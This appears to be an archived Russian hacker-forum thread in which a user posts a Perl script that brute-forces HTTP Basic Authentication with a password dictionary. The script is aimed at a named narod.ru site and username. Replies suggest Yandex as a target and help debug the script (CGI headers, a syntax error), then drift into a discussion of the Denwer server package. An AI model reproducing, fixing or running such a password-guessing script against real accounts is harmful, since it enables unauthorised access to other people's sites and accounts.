PDA

Просмотр полной версии : Брутфорс на Perl


Murz
07.11.2005, 23:03
Прочитал на одном сайте статью "Брутфорс на Perl" . Попытался запустить ее на своем сервере, но сервер выдает ошиьку №500 . Причем изменял я только адрес ломаемого сайта и адрес файла с паролями.

Где ошибка ?

#!/usr/bin/perl
## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64
$server="www.bendertom.narod.ru"; ### Удаленный сервер
$port="80"; ### Удаленный порт
$dir=""; ### Запароленная директория
$logfile="rez.txt"; ### Логфайл, куда пишем пароль ;)
$log="stat.txt"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="dictionary.txt"; ### Словарь (файл с паролями)
$user="volo-igor"; ### Имя пользователя
open(file, "$words") or die print "$!\n";
@data=;
$total=@data;
close file; ### Записываем все пароли в один массив
$i=0;
foreach $pass (@data) {
$i++;
chomp($pass);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total;
$perc=ceil($perc); ### Высчитываем процент
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;
$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => $port,
Photo => tcp) ### Порождаем сокет
or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://support.microsoft.com/\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш
$ans=<$socket>; ### Получаем ответ от сервера
if ($ans=~/200 Ok/i) {
open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог
print logf "$user:$pass is OK!!!\n";
close logf;
exit 0; ### Выходим ;)
}
}

Майор
07.11.2005, 23:43
$server="www.bendertom.narod.ru"; ### Удаленный сервер
ты вписал адресс сайта , а надо адрес сервера; для яндекса - passport.yandex.ru
но на яндексе тебя забанят после нескольких попыток перебора ...

Murz
07.11.2005, 23:48
ты вписал адресс сайта , а надо адрес сервера; для яндекса - passport.yandex.ru
но на яндексе тебя забанят после нескольких попыток перебора ...

Пробовал и так. Та же ошибка .

Майор
08.11.2005, 12:20
Пробовал и так. Та же ошибка .


print $socket "Authorization: Basic $auth\n";

потому что yandex не использует поле Authorization: для идентификации .... я бы попровил, но perl не знаю вообще =(
Брут был изначально на какой сервер настроен ?

m0nzt3r
08.11.2005, 17:42
если ошибка 500 то ты октрываешь ее как страницу чтоль?

bul666
08.11.2005, 18:47
port="80"; ### Удаленный порт
$dir=""; ### Запароленная директория

Вот это интересно....

Это вообще брут не на мыло!

Во превых Порт стоит 80, и указании папки.
Это брут на папки!

nerezus
08.11.2005, 19:11
Ошибка, говоришь? Что, так и пишет: "Чувааак, там ниибаццо какая internal server ошибка!!"?

Хинт: что за ошибка - можно посмотреть в логах.

qBiN
08.11.2005, 21:35
:))))))))))))))
Какая какая ошибка???
Монстер прав,нельзя этот скрипт запускать через www)))
Вопще насколько я помню перл,могу сказать что если ты через www открываешь страницу,то скрипт должен отправлять хидер,иначе 500 ошибка.

Dronga
10.11.2005, 05:01
Давно с чем-то подобным сталкивался... Каждый в чем-то прав и каждый в чем-то неправ)

Этот скрипт МОЖНО запустить через WWW, т.е. открыть именно как страницу (конечно она будет динамической)).
Да, действительно, ошибка 500 выскакивает из-за ошибки в скрипте.
qBiN совершенно правильно сказал про хидеры в контексте ошибки 500.

Выводы от меня:
После строчек
#!/usr/bin/perl
## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
вставляешь
print "Content-type: text/html\n\n";
print "It's WORK!!\n";
Если сам скрипт верен, то ошибка исчезнет.

nerezus совершенно правильно и справедливо подметил по поводу error.log :)
Просто запустив твой скрипт на localhost интерпретатор выдал:Syntax error at \\home\\12700~1.1\\cgi\\index.pl line 16, near "=;"\n
Execution of \\home\\12700~1.1\\cgi\\index.pl aborted due to compilation errors.\n
Это строчка
@data="";
Но тут уже сами гадайте... )

Если кто-то сомневается в справедливости вышесказанного - Денвер в зубы и смотрите сами)

Все спасибо принимаю в форме повышения репутации.

nerezus
10.11.2005, 07:42
use MIME::Base64;
use IO::Socket;
use POSIX; Денвер в зубы и смотрите сами) а что из перечисленного есть в денвере? =)

Dronga
11.11.2005, 03:19
а что из перечисленного есть в денвере? =)

Действительно, перл в стандартной поставке Денвера идет без библиотек, но я докачивал их и ставил отдельно. Всё работает.

nerezus
11.11.2005, 08:35
Действительно, перл в стандартной поставке Денвера идет без библиотек, но я докачивал их и ставил отдельно. Всё работает Вот я и говорю: использующие денвер обречены на гемор =)

Trinux
11.11.2005, 10:20
Да не, nerezus, не прав ты =) не гемор обречены те, кто денвера не юзают с самого начала. Человек сначало идет в ддетский сад, затем школа, затем ВУЗ и прочее. Если ты млаенца из яслей отправишь в вуз - толку не будет. Так и тут, если ты только начал программить по веб на винде - только денвер. А когда его убирать - покажет время. Я о сих пор юзаю денвер и есть сотня причин на это. Например:

1. MySQL + PHP + Apache весят под 100 метров, если качать по отельности. Денвер весит 4 местра
2. Мне не интересно администрирование, мне не интересно писать батники, которые будут запускать все что нужно мне ля работы, я люблю программить и мне удобнее нажать одну кнопочку "Run", чтобы все было готово ля работы.
3. Денвер сам прописывает все новые домены в windows/system32/drivers/etc/hosts, мне уобно это, опять же я не отвлекаюсь на всякую бню.
4. Денвер помимо всего прчего содержит phpmyadmin и другие утилиты для более эффективной работы со всеми компонентами.
5. Все конфиги снабжены русскими комментариями
6. денвер легко переносить. Я просто пишу диру webservers на диск и запускаю мои проекты на любых машинах без всяких проблем

И куча, куча всего остального. Но в то же время я сам прописываю конфиги апача, конфиги виртуальных серверов, конфиги php и MySQL, Денвер лишь инструмент, который очень сильно облегчает процесс поготовки машины к программированию.

Trinux
11.11.2005, 10:22
Денвер это как Visua Studio. возьмем к пример C++ язык. Ты можешь скачать блокнот, даже с интерпритатором, скачать отддельно коспилятор и гемороиться с ними. А можешь поставить себе Visual Studio и проблем не знать со всякой бней, занимаясь только любимым делом.

Zadoxlik
11.11.2005, 11:59
Тринукс, верно гутаришь